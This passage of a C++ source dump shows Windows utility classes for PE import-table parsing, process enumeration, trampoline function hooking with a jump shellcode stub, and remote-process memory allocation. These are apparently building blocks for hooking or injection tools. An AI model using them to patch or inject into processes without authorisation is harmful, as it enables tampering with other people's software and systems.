this->m_dosHeader) 121 | { 122 | throw std::runtime_error("Invalid DOS header"); 123 | } 124 | 125 | if (IMAGE_DOS_SIGNATURE != this->m_dosHeader->e_magic) 126 | { 127 | throw std::runtime_error("Invalid DOS header magic"); 128 | } 129 | } 130 | 131 | void PeModule::setNtHeaders(DWORD_PTR moduleBaseAddress, PIMAGE_DOS_HEADER dosHeader) 132 | { 133 | this->m_ntHeaders = reinterpret_cast(this->m_moduleBaseAddress + this->m_dosHeader->e_lfanew); 134 | 135 | if (nullptr == this->m_ntHeaders) 136 | { 137 | throw std::runtime_error("Invalid NT headers"); 138 | } 139 | 140 | if (IMAGE_NT_SIGNATURE != this->m_ntHeaders->Signature) 141 | { 142 | throw std::runtime_error("Invalid NT headers magic"); 143 | } 144 | } 145 | 146 | void PeModule::setOptionalHeader(PIMAGE_NT_HEADERS ntHeaders) 147 | { 148 | this->m_optionalHeader = &this->m_ntHeaders->OptionalHeader; 149 | 150 | if (nullptr == this->m_optionalHeader) 151 | { 152 | throw std::runtime_error("Invalid Optional header"); 153 | } 154 | 155 | // TODO: Validates Optional header magic 156 | } 157 | -------------------------------------------------------------------------------- /Common/PeModule.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | 7 | #include 8 | 9 | // This macro will help with calculating addresses 10 | #define PtrFromRva(base, rva) (((PBYTE)base) + rva) 11 | 12 | class PeModule 13 | { 14 | public: 15 | explicit PeModule(const HMODULE module); 16 | 17 | virtual ~PeModule() = default; 18 | 19 | /* 20 | * Return pointer to the PE DOS header. 21 | */ 22 | PIMAGE_DOS_HEADER getDosHeader() const; 23 | 24 | /* 25 | * Return pointer to the PE NT headers. 26 | */ 27 | PIMAGE_NT_HEADERS getNtHeaders() const; 28 | 29 | /* 30 | * Return pointer to the PE Optional header. 31 | */ 32 | PIMAGE_OPTIONAL_HEADER getOptionalHeader() const; 33 | 34 | /* 35 | * Return all the import descriptor of the PE module. 36 | */ 37 | std::vector getImportDescriptors() const; 38 | 39 | /* 40 | * Return pair of: module name and pointer to the module descriptor, of all the modules that 41 | * PE module import from them. 42 | */ 43 | std::map getModules() const; 44 | 45 | /* 46 | * Search and return the IMAGE_THUNK_DATA first thunk of import function name from given module descriptor. 47 | */ 48 | PIMAGE_THUNK_DATA getImportImageThunkData(PIMAGE_IMPORT_DESCRIPTOR moduleDescriptor, 49 | const std::string& importFunctionName) const; 50 | 51 | /* 52 | * Search and return the import function address from given module descriptor. 53 | */ 54 | void* getImportFunctionAddress(PIMAGE_IMPORT_DESCRIPTOR moduleDescriptor, 55 | const std::string& importFunctionName) const; 56 | 57 | /* 58 | * Search for import function name from given module name and return it's address. 59 | */ 60 | void* getImportFunctionAddress(const std::string& moduleName, const std::string& importName) const; 61 | 62 | private: 63 | /* 64 | * Validates the DOS header and set the DOS header member. 65 | */ 66 | void setDosHeader(DWORD_PTR moduleBaseAddress); 67 | 68 | /* 69 | * Validates the NT headers and set the NT headers member. 70 | */ 71 | void setNtHeaders(DWORD_PTR moduleBaseAddress, PIMAGE_DOS_HEADER dosHeader); 72 | 73 | /* 74 | * Validates the Optional header and set the Optional header member. 75 | */ 76 | void setOptionalHeader(PIMAGE_NT_HEADERS ntHeaders); 77 | 78 | DWORD_PTR m_moduleBaseAddress; 79 | PIMAGE_DOS_HEADER m_dosHeader; 80 | PIMAGE_NT_HEADERS m_ntHeaders; 81 | PIMAGE_OPTIONAL_HEADER m_optionalHeader; 82 | }; 83 | 84 | -------------------------------------------------------------------------------- /Common/ProcessEntryIterator.cpp: -------------------------------------------------------------------------------- 1 | #include "ProcessEntryIterator.h" 2 | #include "Win32ErrorCodeException.h" 3 | 4 | ProcessEntryIterator::ProcessEntryIterator() 5 | : m_processesSnapshot(INVALID_HANDLE_VALUE), m_currentProcess{ 0 }, m_noMoreProcessEntries(false) 6 | { 7 | this->m_processesSnapshot.reset(CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)); 8 | if (INVALID_HANDLE_VALUE == this->m_processesSnapshot.get()) 9 | { 10 | throw Win32ErrorCodeException("Could not open handle to snapshot"); 11 | } 12 | 13 | this->m_currentProcess.dwSize = sizeof(PROCESSENTRY32); 14 | Process32First(this->m_processesSnapshot.get(), &this->m_currentProcess); 15 | } 16 | 17 | const PROCESSENTRY32& ProcessEntryIterator::operator*() const 18 | { 19 | return this->m_currentProcess; 20 | } 21 | 22 | ProcessEntryIterator& ProcessEntryIterator::operator++() 23 | { 24 | this->getNextProcessEntry(); 25 | return *this; 26 | } 27 | 28 | bool ProcessEntryIterator::operator!=(EndProcessEntryIterator) const 29 | { 30 | return !this->m_noMoreProcessEntries; 31 | } 32 | 33 | void ProcessEntryIterator::getNextProcessEntry() 34 | { 35 | if (!Process32Next(this->m_processesSnapshot.get(), &this->m_currentProcess)) 36 | { 37 | this->m_noMoreProcessEntries = true; 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /Common/ProcessEntryIterator.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "AutoHandle.h" 4 | 5 | #include 6 | #include 7 | 8 | /* 9 | * Used as an indication the iterator have no more iterations. 10 | */ 11 | class EndProcessEntryIterator {}; 12 | 13 | class ProcessEntryIterator 14 | { 15 | public: 16 | ProcessEntryIterator(); 17 | 18 | // delete copy ctor, move ctor, assignment 19 | ProcessEntryIterator(const ProcessEntryIterator&) = delete; 20 | ProcessEntryIterator& operator=(const ProcessEntryIterator&) = delete; 21 | ProcessEntryIterator(ProcessEntryIterator&&) = delete; 22 | ProcessEntryIterator& operator=(ProcessEntryIterator&&) = delete; 23 | 24 | virtual ~ProcessEntryIterator() = default; 25 | 26 | const PROCESSENTRY32& operator*() const; 27 | 28 | ProcessEntryIterator& operator++(); 29 | 30 | bool operator!=(EndProcessEntryIterator) const; 31 | 32 | private: 33 | /* Verify if there are more running processes to query, if not setting flag. */ 34 | void getNextProcessEntry(); 35 | 36 | AutoHandle m_processesSnapshot; 37 | PROCESSENTRY32 m_currentProcess; 38 | bool m_noMoreProcessEntries; 39 | }; 40 | 41 | -------------------------------------------------------------------------------- /Common/ProcessUtils.cpp: -------------------------------------------------------------------------------- 1 | #include "ProcessUtils.h" 2 | #include "RunningProcesses.h" 3 | #include "Wmi.h" 4 | #include "WmiQuery.h" 5 | 6 | #include 7 | 8 | std::uint32_t ProcessUtils::getProcessPidByProcessName(const std::wstring& processName) 9 | { 10 | RunningProcesses processes; 11 | for (const auto& process : processes) 12 | { 13 | std::wstring currentProcessName(process.szExeFile); 14 | 15 | if (processName == currentProcessName) 16 | { 17 | return process.th32ProcessID; 18 | } 19 | } 20 | 21 | throw std::runtime_error("Could not find target process PID"); 22 | } 23 | 24 | WmiProcessIterator ProcessUtils::getAllRunningProcessesFromWmi() 25 | { 26 | WmiQuery wmiQuery; 27 | IEnumWbemClassObject* classObjectEnumerator = wmiQuery.executeQuery(ALL_RUNNING_PROCESSES_QUERY); 28 | 29 | WmiProcessIterator processIterator(classObjectEnumerator); 30 | return processIterator; 31 | } 32 | -------------------------------------------------------------------------------- /Common/ProcessUtils.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | #include "WmiProcessIterator.h" 7 | 8 | class ProcessUtils final 9 | { 10 | public: 11 | static std::uint32_t getProcessPidByProcessName(const std::wstring& processName); 12 | 13 | /* 14 | * @note: DO NOT forget to create ComInitializationGuard in the relevant context before using this function. 15 | * @usage: 16 | ComInitializationGuard comInitializationGuard; 17 | { 18 | WmiProcessIterator processIterator = ProcessUtils::getAllRunningProcessesFromWmi(); 19 | // do something... 20 | } 21 | */ 22 | static WmiProcessIterator getAllRunningProcessesFromWmi(); 23 | }; 24 | 25 | -------------------------------------------------------------------------------- /Common/RunningProcesses.cpp: -------------------------------------------------------------------------------- 1 | #include "RunningProcesses.h" 2 | #include "ProcessEntryIterator.h" 3 | 4 | ProcessEntryIterator RunningProcesses::begin() const 5 | { 6 | return ProcessEntryIterator(); 7 | } 8 | 9 | EndProcessEntryIterator RunningProcesses::end() const 10 | { 11 | return EndProcessEntryIterator(); 12 | } 13 | -------------------------------------------------------------------------------- /Common/RunningProcesses.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "ProcessEntryIterator.h" 4 | 5 | #include 6 | 7 | class RunningProcesses 8 | { 9 | public: 10 | RunningProcesses() = default; 11 | 12 | virtual ~RunningProcesses() = default; 13 | 14 | // delete copy ctor, move ctor, assignment 15 | RunningProcesses(const RunningProcesses&) = delete; 16 | RunningProcesses& operator=(const RunningProcesses&) = delete; 17 | RunningProcesses(RunningProcesses&&) = delete; 18 | RunningProcesses& operator=(RunningProcesses&&) = delete; 19 | 20 | /* 21 | * Start iterator instance. 22 | * @return Iterator for processes information. 23 | */ 24 | ProcessEntryIterator begin() const; 25 | 26 | /* 27 | * Indicating the end of the iteration. 28 | * @note Different types between begin() and end() available from C++17. https://stackoverflow.com/a/62716532 29 | * @return Dummy class. 30 | */ 31 | EndProcessEntryIterator end() const; 32 | }; 33 | 34 | -------------------------------------------------------------------------------- /Common/SehException.cpp: -------------------------------------------------------------------------------- 1 | #include "SehException.h" 2 | 3 | #include 4 | #include 5 | 6 | SehException::SehException(const std::uint32_t errorCode) 7 | : m_errorCode(errorCode) 8 | { 9 | std::stringstream stringStream; 10 | stringStream << "Got SEH exception, error code: "; 11 | stringStream << std::hex << std::setw(8) << std::setfill('0') << this->m_errorCode; 12 | 13 | this->m_errorMessage = stringStream.str(); 14 | } 15 | 16 | char const* SehException::what() const 17 | { 18 | return this->m_errorMessage.c_str(); 19 | } 20 | 21 | std::uint32_t SehException::getErrorCode() const 22 | { 23 | return this->m_errorCode; 24 | } -------------------------------------------------------------------------------- /Common/SehException.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | class SehException : public std::exception 7 | { 8 | public: 9 | explicit SehException(std::uint32_t errorCode); 10 | 11 | virtual ~SehException() = default; 12 | 13 | // Delete copy constructor & assignment operator 14 | // @note std::exception using the move constructor when throwing exception. 15 | SehException(const SehException&) = delete; 16 | SehException& operator=(const SehException&) = delete; 17 | SehException(SehException&&) = default; 18 | SehException& operator=(SehException&&) = default; 19 | 20 | char const* what() const override; 21 | 22 | std::uint32_t getErrorCode() const; 23 | 24 | private: 25 | std::uint32_t m_errorCode; 26 | std::string m_errorMessage; 27 | }; -------------------------------------------------------------------------------- /Common/SehTranslatorGuard.cpp: -------------------------------------------------------------------------------- 1 | #include "SehTranslatorGuard.h" 2 | #include "SehException.h" 3 | 4 | SehTranslatorGuard::SehTranslatorGuard() 5 | : m_originalSehTranslator(nullptr) 6 | { 7 | this->m_originalSehTranslator = _set_se_translator(SehTranslatorGuard::sehTranslatorFunction); 8 | } 9 | 10 | SehTranslatorGuard::~SehTranslatorGuard() 11 | { 12 | try 13 | { 14 | if (nullptr != this->m_originalSehTranslator) 15 | { 16 | _set_se_translator(this->m_originalSehTranslator); 17 | } 18 | } 19 | catch (...) 20 | { 21 | // Internationally left blank 22 | } 23 | } 24 | 25 | void SehTranslatorGuard::sehTranslatorFunction(unsigned errorCode, EXCEPTION_POINTERS*) 26 | { 27 | throw SehException(errorCode); 28 | } -------------------------------------------------------------------------------- /Common/SehTranslatorGuard.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | /* 7 | * Set a per-thread callback function to translate Win32 SEH exception into C++ exceptions. 8 | * @note You must use /EHa when using _set_se_translator. 9 | * @note _se_translator_function is the type of the translator function. 10 | * @note _set_se_translator is the function that used to set the translator function. 11 | */ 12 | class SehTranslatorGuard final 13 | { 14 | public: 15 | SehTranslatorGuard(); 16 | 17 | ~SehTranslatorGuard(); 18 | 19 | // Delete copy constructor, assignment operator, move constructor, move operator: 20 | SehTranslatorGuard(const SehTranslatorGuard&) = delete; 21 | SehTranslatorGuard& operator=(const SehTranslatorGuard&) = delete; 22 | SehTranslatorGuard(SehTranslatorGuard&&) = delete; 23 | SehTranslatorGuard& operator=(SehTranslatorGuard&&) = delete; 24 | 25 | private: 26 | static void sehTranslatorFunction(unsigned int errorCode, EXCEPTION_POINTERS*); 27 | 28 | _se_translator_function m_originalSehTranslator; 29 | }; -------------------------------------------------------------------------------- /Common/StringUtils.cpp: -------------------------------------------------------------------------------- 1 | #include "StringUtils.h" 2 | 3 | #include 4 | #include 5 | 6 | std::string StringUtils::hexValue(std::uint64_t value, int width, char fill, bool upper) 7 | { 8 | std::stringstream buffer; 9 | buffer << "0x" << std::hex << std::setw(width) << std::setfill('0') << std::uppercase; 10 | 11 | if (upper) 12 | { 13 | buffer << std::uppercase; 14 | } 15 | 16 | buffer << value; 17 | 18 | return buffer.str(); 19 | 20 | } -------------------------------------------------------------------------------- /Common/StringUtils.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | class StringUtils final 6 | { 7 | public: 8 | static std::string hexValue(std::uint64_t value, int width = 16, char fill = '0', bool upper = true); 9 | }; 10 | 11 | -------------------------------------------------------------------------------- /Common/TrampolineHook.cpp: -------------------------------------------------------------------------------- 1 | #include "TrampolineHook.h" 2 | #include "VirtualProtectGuard.h" 3 | 4 | #include 5 | 6 | #include 7 | 8 | TrampolineHook::TrampolineHook(void* originalFunction, void* hookingFunction, int patchSize) 9 | : m_originalAddress(originalFunction), m_hookingAddress(hookingFunction), m_gatewayMemory(), m_patchSize(patchSize) 10 | { 11 | if (nullptr == this->m_originalAddress) 12 | { 13 | throw std::runtime_error("Invalid original function address"); 14 | } 15 | 16 | if (nullptr == this->m_hookingAddress) 17 | { 18 | throw std::runtime_error("Invalid hooking function address"); 19 | } 20 | 21 | if (patchSize < sizeof(TRAMPOLINE_SHELLCODE)) 22 | { 23 | throw std::runtime_error("Invalid patch size"); 24 | } 25 | 26 | this->createGateway(); 27 | } 28 | 29 | TrampolineHook::~TrampolineHook() 30 | { 31 | try 32 | { 33 | this->restoreOriginalBytes(); 34 | } 35 | catch (...) 36 | { 37 | std::cout << "Exception thrown in destructor of: IatHook" << std::endl; 38 | } 39 | } 40 | 41 | std::vector TrampolineHook::getJumpShellcode(void* addressToJumpTo) 42 | { 43 | std::vector jumpShellcode; 44 | for (const BYTE opcode : TRAMPOLINE_SHELLCODE) 45 | { 46 | jumpShellcode.push_back(static_cast(opcode)); 47 | } 48 | 49 | // Write the address "to jump to": 50 | memcpy_s(&jumpShellcode[2], sizeof(void*), addressToJumpTo, sizeof(void*)); 51 | 52 | return jumpShellcode; 53 | } 54 | 55 | void TrampolineHook::restoreOriginalBytes() const 56 | { 57 | VirtualProtectGuard virtualProtectGuard(this->m_originalAddress, this->m_patchSize, PAGE_EXECUTE_READWRITE); 58 | 59 | memcpy_s(this->m_originalAddress, this->m_patchSize, this->m_gatewayMemory.get(), this->m_patchSize); 60 | } 61 | 62 | void TrampolineHook::createGateway() 63 | { 64 | // Original function + jump shellcode: 65 | const int gatewaySize = this->m_patchSize + sizeof(TRAMPOLINE_SHELLCODE); 66 | 67 | this->m_gatewayMemory.reset(gatewaySize, MEM_RELEASE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 68 | 69 | // Copy to original bytes: 70 | memcpy_s(this->m_gatewayMemory.get(), this->m_patchSize, this->m_originalAddress, this->m_patchSize); 71 | 72 | // Create jump shellcode to the original function body (after the hook): 73 | std::vector jumpShellcode = this->getJumpShellcode(static_cast(this->m_originalAddress) + this->m_patchSize); 74 | 75 | // Insert jump to the body of the original address: 76 | memcpy_s(static_cast(this->m_gatewayMemory.get()) + this->m_patchSize, sizeof(TRAMPOLINE_SHELLCODE), 77 | jumpShellcode.data(), sizeof(TRAMPOLINE_SHELLCODE)); 78 | } 79 | 80 | void TrampolineHook::installHook() const 81 | { 82 | std::vector jumpShellcode = this->getJumpShellcode(this->m_hookingAddress); 83 | 84 | if (jumpShellcode.size() < this->m_patchSize) 85 | { 86 | for (int i = jumpShellcode.size(); i < this->m_patchSize; i++) 87 | { 88 | // Fill the rest of the patch with NOPs: 89 | jumpShellcode.push_back(static_cast(NOP_OPCODE)); 90 | } 91 | } 92 | 93 | VirtualProtectGuard virtualProtectGuard(this->m_originalAddress, this->m_patchSize, PAGE_EXECUTE_READWRITE); 94 | 95 | memcpy_s(this->m_originalAddress, this->m_patchSize, jumpShellcode.data(), this->m_patchSize); 96 | } 97 | 98 | void* TrampolineHook::getGatewayAddress() const 99 | { 100 | return this->m_gatewayMemory.get(); 101 | } 102 | -------------------------------------------------------------------------------- /Common/TrampolineHook.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "AutoVirtualAlloc.h" 3 | 4 | #include 5 | #include 6 | 7 | #include 8 | 9 | /* 10 | 48 b8 00 00 00 00 00 00 00 00 movabs rax,0x0 11 | ff e0 jmp rax 12 | */ 13 | const BYTE TRAMPOLINE_SHELLCODE[] = "\x48\xb8\x00\x00\x00\x00\x00\x00\x00\x00\xff\xe0"; 14 | 15 | const BYTE NOP_OPCODE = 0x90; 16 | 17 | class TrampolineHook final 18 | { 19 | public: 20 | explicit TrampolineHook(void* originalFunction, void* hookingFunction, int patchSize); 21 | 22 | ~TrampolineHook(); 23 | 24 | // Disable: copyable, cloneable, movable: 25 | TrampolineHook(const TrampolineHook&) = delete; 26 | TrampolineHook& operator=(const TrampolineHook&) = delete; 27 | TrampolineHook(const TrampolineHook&&) = delete; 28 | TrampolineHook& operator=(const TrampolineHook&&) = delete; 29 | 30 | void installHook() const; 31 | 32 | void* getGatewayAddress() const; 33 | 34 | private: 35 | static std::vector getJumpShellcode(void* addressToJumpTo); 36 | void restoreOriginalBytes() const; 37 | void createGateway(); 38 | 39 | void* m_originalAddress; 40 | void* m_hookingAddress; 41 | AutoVirtualAlloc m_gatewayMemory; 42 | int m_patchSize; 43 | }; 44 | 45 | -------------------------------------------------------------------------------- /Common/VirtualAllocExGuard.cpp: -------------------------------------------------------------------------------- 1 | #include "VirtualAllocExGuard.h" 2 | #include "../Common/Win32ErrorCodeException.h" 3 | 4 | #include 5 | 6 | VirtualAllocExGuard::VirtualAllocExGuard(const HANDLE& process, SIZE_T allocationSize, DWORD protection, 7 | DWORD allocationType, LPVOID address) 8 | : m_process(process), m_address(nullptr), m_allocationSize(allocationSize) 9 | { 10 | if (INVALID_HANDLE_VALUE == this->m_process) 11 | { 12 | throw std::runtime_error("Invalid process handle"); 13 | } 14 | 15 | if (0 >= this->m_allocationSize) 16 | { 17 | throw std::runtime_error("Invalid allocation size"); 18 | } 19 | 20 | this->m_address = VirtualAllocEx(this->m_process, address, allocationSize, allocationType, protection); 21 | if (nullptr == this->m_address) 22 | { 23 | throw Win32ErrorCodeException("Could not allocate memory in remote process"); 24 | } 25 | } 26 | 27 | VirtualAllocExGuard::~VirtualAllocExGuard() 28 | { 29 | try 30 | { 31 | this->free(); 32 | } 33 | catch (Win32ErrorCodeException& exception) 34 | { 35 | std::cout << exception.what() << std::endl; 36 | } 37 | catch (...) 38 | { 39 | std::cout << "Exception occurred in destructor" << std::endl; 40 | } 41 | } 42 | 43 | LPVOID VirtualAllocExGuard::get() const 44 | { 45 | return this->m_address; 46 | } 47 | 48 | void VirtualAllocExGuard::release() 49 | { 50 | // Internationally prevent from free() to work: 51 | this->m_address = nullptr; 52 | } 53 | 54 | void VirtualAllocExGuard::free() const 55 | { 56 | if (nullptr != this->m_address) 57 | { 58 | if (!VirtualFreeEx(this->m_process, this->m_address, this->m_allocationSize, MEM_DECOMMIT)) 59 | { 60 | throw Win32ErrorCodeException("Could not free the memory"); 61 | } 62 | } 63 | } 64 | -------------------------------------------------------------------------------- /Common/VirtualAllocExGuard.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "../Common/AutoHandle.h" 3 | 4 | #include 5 | 6 | class VirtualAllocExGuard 7 | { 8 | public: 9 | explicit VirtualAllocExGuard(const HANDLE& process, SIZE_T allocationSize, DWORD protection, DWORD allocationType = MEM_COMMIT, LPVOID address = nullptr); 10 | 11 | virtual ~VirtualAllocExGuard(); 12 | 13 | // Disable: copyable, cloneable, movable: 14 | VirtualAllocExGuard(const VirtualAllocExGuard&) = delete; 15 | VirtualAllocExGuard& operator=(const VirtualAllocExGuard&) = delete; 16 | VirtualAllocExGuard(VirtualAllocExGuard&&) = delete; 17 | VirtualAllocExGuard& operator=(VirtualAllocExGuard&&) = delete; 18 | 19 | LPVOID get() const; 20 | 21 | void release(); 22 | 23 | private: 24 | void free() const; 25 | 26 | HANDLE m_process; 27 | LPVOID m_address; 28 | SIZE_T m_allocationSize; 29 | }; 30 | 31 | -------------------------------------------------------------------------------- /Common/VirtualProtectGuard.cpp: -------------------------------------------------------------------------------- 1 | #include "VirtualProtectGuard.h" 2 | #include "Win32ErrorCodeException.h" 3 | 4 | #include 5 | #include 6 | 7 | VirtualProtectGuard::VirtualProtectGuard(LPVOID address, SIZE_T size, DWORD protection) 8 | : m_address(address), m_size(size), m_oldProtection(0) 9 | { 10 | if (nullptr == this->m_address) 11 | { 12 | throw std::runtime_error("Invalid address"); 13 | } 14 | 15 | if (0 >= this->m_size) 16 | { 17 | throw std::runtime_error("Invalid size"); 18 | } 19 | 20 | if (!VirtualProtect(this->m_address, this->m_size, protection, &this->m_oldProtection)) 21 | { 22 | throw Win32ErrorCodeException("Could not change memory protection"); 23 | } 24 | } 25 | 26 | VirtualProtectGuard::~VirtualProtectGuard() 27 | { 28 | try 29 | { 30 | this->restoreMemoryProtection(); 31 | } 32 | catch (const Win32ErrorCodeException& exception) 33 | { 34 | std::cout << exception.what() << std::endl; 35 | } 36 | catch (...) 37 | { 38 | std::cout << "Exception thrown in destructor of: VirtualProtectGuard" << std::endl; 39 | } 40 | } 41 | 42 | void VirtualProtectGuard::restoreMemoryProtection() 43 | { 44 | if (!VirtualProtect(this->m_address, this->m_size, this->m_oldProtection, &this->m_oldProtection)) 45 | { 46 | throw Win32ErrorCodeException("Could not change memory protection"); 47 | } 48 | } 49 | -------------------------------------------------------------------------------- /Common/VirtualProtectGuard.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | class VirtualProtectGuard final 6 | { 7 | public: 8 | explicit VirtualProtectGuard(LPVOID address, SIZE_T size, DWORD protection); 9 | 10 | ~VirtualProtectGuard(); 11 | 12 | // Disable: copyable, cloneable, movable: 13 | VirtualProtectGuard(const VirtualProtectGuard&) = delete; 14 | VirtualProtectGuard& operator=(const VirtualProtectGuard&) = delete; 15 | VirtualProtectGuard(const VirtualProtectGuard&&) = delete; 16 | VirtualProtectGuard& operator=(const VirtualProtectGuard&&) = delete; 17 | 18 | private: 19 | void restoreMemoryProtection(); 20 | 21 | LPVOID m_address; 22 | SIZE_T m_size; 23 | DWORD m_oldProtection; 24 | }; 25 | 26 | -------------------------------------------------------------------------------- /Common/Win32ErrorCodeException.cpp: -------------------------------------------------------------------------------- 1 | #include "Win32ErrorCodeException.h" 2 | 3 | #include 4 | #include 5 | 6 | #include 7 | 8 | Win32ErrorCodeException::Win32ErrorCodeException(const std::string& errorMessage) 9 | : std::runtime_error(errorMessage), m_errorCode(0) 10 | { 11 | this->m_errorCode = GetLastError(); 12 | this->m_winErrorMessage = this->getLastErrorMessage(); 13 | 14 | std::stringstream messageStream; 15 | messageStream << std::runtime_error::what(); 16 | messageStream << "\nWindows last error code: 0x"; 17 | messageStream << std::hex << this->m_errorCode; 18 | messageStream << "\nWindows error message: "; 19 | messageStream << this->m_winErrorMessage; 20 | 21 | this->m_errorMessage = messageStream.str(); 22 | } 23 | 24 | const char* Win32ErrorCodeException::what() const 25 | { 26 | return this->m_errorMessage.c_str(); 27 | } 28 | 29 | 30 | DWORD Win32ErrorCodeException::getErrorCode() const 31 | { 32 | return this->m_errorCode; 33 | } 34 | 35 | std::string Win32ErrorCodeException::getWinErrorMessage() const 36 | { 37 | return this->m_winErrorMessage; 38 | } 39 | 40 | std::string Win32ErrorCodeException::getLastErrorMessage() const 41 | { 42 | if (m_errorCode == 0) 43 | { 44 | return ""; 45 | } 46 | 47 | const int MESSAGE_SIZE = 512; 48 | std::vector message(MESSAGE_SIZE); 49 | 50 | FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, nullptr, this->m_errorCode, 51 | 0, &message[0], MESSAGE_SIZE, nullptr); 52 | 53 | return std::string(CW2A(message.data())); 54 | } 55 | -------------------------------------------------------------------------------- /Common/Win32ErrorCodeException.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | #include 7 | 8 | class Win32ErrorCodeException : public std::runtime_error 9 | { 10 | public: 11 | explicit Win32ErrorCodeException(const std::string& errorMessage); 12 | 13 | virtual ~Win32ErrorCodeException() = default; 14 | 15 | const char* what() const override; 16 | 17 | // delete copy ctor, move ctor, assignment 18 | Win32ErrorCodeException(const Win32ErrorCodeException&) = delete; 19 | Win32ErrorCodeException& operator=(const Win32ErrorCodeException&) = delete; 20 | Win32ErrorCodeException(Win32ErrorCodeException&&) = default; 21 | Win32ErrorCodeException& operator=(Win32ErrorCodeException&&) = default; 22 | 23 | /* Get Windows last error code. */ 24 | DWORD getErrorCode() const; 25 | 26 | /* Get Windows message corresponding to the last error that occurred. */ 27 | std::string getWinErrorMessage() const; 28 | 29 | protected: 30 | std::string getLastErrorMessage() const; 31 | 32 | DWORD m_errorCode; 33 | std::string m_winErrorMessage; 34 | std::string m_errorMessage; 35 | }; 36 | 37 | -------------------------------------------------------------------------------- /Common/Wmi.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | // WMI library file: 6 | #pragma comment(lib, "wbemuuid.lib") 7 | 8 | const std::wstring WMI_ROOT_CIMV2_NAMESPACE(L"ROOT\\CIMV2"); 9 | const std::wstring WMI_WQL_QUERY_LANGUAGE(L"WQL"); 10 | const std::wstring ALL_RUNNING_PROCESSES_QUERY(L"SELECT * FROM Win32_Process"); -------------------------------------------------------------------------------- /Common/WmiProcessIterator.cpp: -------------------------------------------------------------------------------- 1 | #include "WmiProcessIterator.h" 2 | 3 | #include 4 | #include 5 | 6 | WmiProcessIterator::WmiProcessIterator(IEnumWbemClassObject* classObjectEnumerator) 7 | : m_classObjectEnumerator(classObjectEnumerator), m_hasMoreData(true) 8 | { 9 | if (nullptr == this->m_classObjectEnumerator) 10 | { 11 | throw std::runtime_error("Invalid class object enumerator"); 12 | } 13 | 14 | // Initiate the first process details: 15 | this->getNext(); 16 | } 17 | 18 | WmiProcessIterator& WmiProcessIterator::begin() 19 | { 20 | return *this; 21 | } 22 | 23 | EndWmiProcessIterator WmiProcessIterator::end() 24 | { 25 | return EndWmiProcessIterator{}; 26 | } 27 | 28 | const WmiProcessDetails& WmiProcessIterator::operator*() const 29 | { 30 | return this->m_currentProcessData; 31 | } 32 | 33 | WmiProcessIterator& WmiProcessIterator::operator++() 34 | { 35 | this->getNext(); 36 | return *this; 37 | } 38 | 39 | bool WmiProcessIterator::operator!=(EndWmiProcessIterator) const 40 | { 41 | return this->m_hasMoreData; 42 | } 43 | 44 | void WmiProcessIterator::getNext() 45 | { 46 | if (nullptr == this->m_classObjectEnumerator) 47 | { 48 | this->m_hasMoreData = false; 49 | return; 50 | } 51 | 52 | CComPtr classObject = nullptr; 53 | 54 | ULONG returnStatus = 0; 55 | HRESULT result = this->m_classObjectEnumerator->Next( 56 | WBEM_INFINITE, 57 | 1, 58 | &classObject, 59 | &returnStatus 60 | ); 61 | 62 | if (0 == returnStatus) 63 | { 64 | this->m_hasMoreData = false; 65 | } 66 | else 67 | { 68 | _variant_t processName; 69 | result = classObject->Get(L"Name", 0, &processName, nullptr, nullptr); 70 | m_currentProcessData.processName = processName.bstrVal; 71 | 72 | _variant_t processId; 73 | result = classObject->Get(L"ProcessId", 0, &processId, nullptr, nullptr); 74 | m_currentProcessData.processId = processId.uintVal; 75 | } 76 | } 77 | -------------------------------------------------------------------------------- /Common/WmiProcessIterator.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | 7 | class EndWmiProcessIterator {}; 8 | 9 | struct WmiProcessDetails 10 | { 11 | std::wstring processName; 12 | std::uint32_t processId; 13 | }; 14 | 15 | class WmiProcessIterator 16 | { 17 | public: 18 | explicit WmiProcessIterator(IEnumWbemClassObject* classObjectEnumerator); 19 | 20 | virtual ~WmiProcessIterator() = default; 21 | 22 | WmiProcessIterator& begin(); 23 | 24 | static EndWmiProcessIterator end(); 25 | 26 | const WmiProcessDetails& operator*() const; 27 | 28 | WmiProcessIterator& operator++(); 29 | 30 | bool operator!=(EndWmiProcessIterator) const; 31 | 32 | private: 33 | void getNext(); 34 | 35 | CComPtr m_classObjectEnumerator; 36 | WmiProcessDetails m_currentProcessData; 37 | bool m_hasMoreData; 38 | }; 39 | 40 | -------------------------------------------------------------------------------- /Common/WmiQuery.cpp: -------------------------------------------------------------------------------- 1 | #include "WmiQuery.h" 2 | #include "Exception.h" 3 | 4 | #include 5 | 6 | WmiQuery::WmiQuery(const std::wstring& wmiNamespace, const std::wstring& wmiQueryLanguage) 7 | : m_wmiNamespace(wmiNamespace.c_str()), m_wmiQueryLanguage(wmiQueryLanguage.c_str()), m_classObjectEnumerator(nullptr) 8 | { 9 | HRESULT result = CoCreateInstance(CLSID_WbemLocator, nullptr, 10 | CLSCTX_INPROC_SERVER, IID_IWbemLocator, reinterpret_cast(&this->m_locator)); 11 | 12 | if (FAILED(result)) 13 | { 14 | const _com_error error(result); 15 | THROW_WSTRING_RUNTIME_ERROR(std::wstring(error.ErrorMessage())); 16 | } 17 | 18 | result = this->m_locator->ConnectServer( 19 | this->m_wmiNamespace, // Object path of 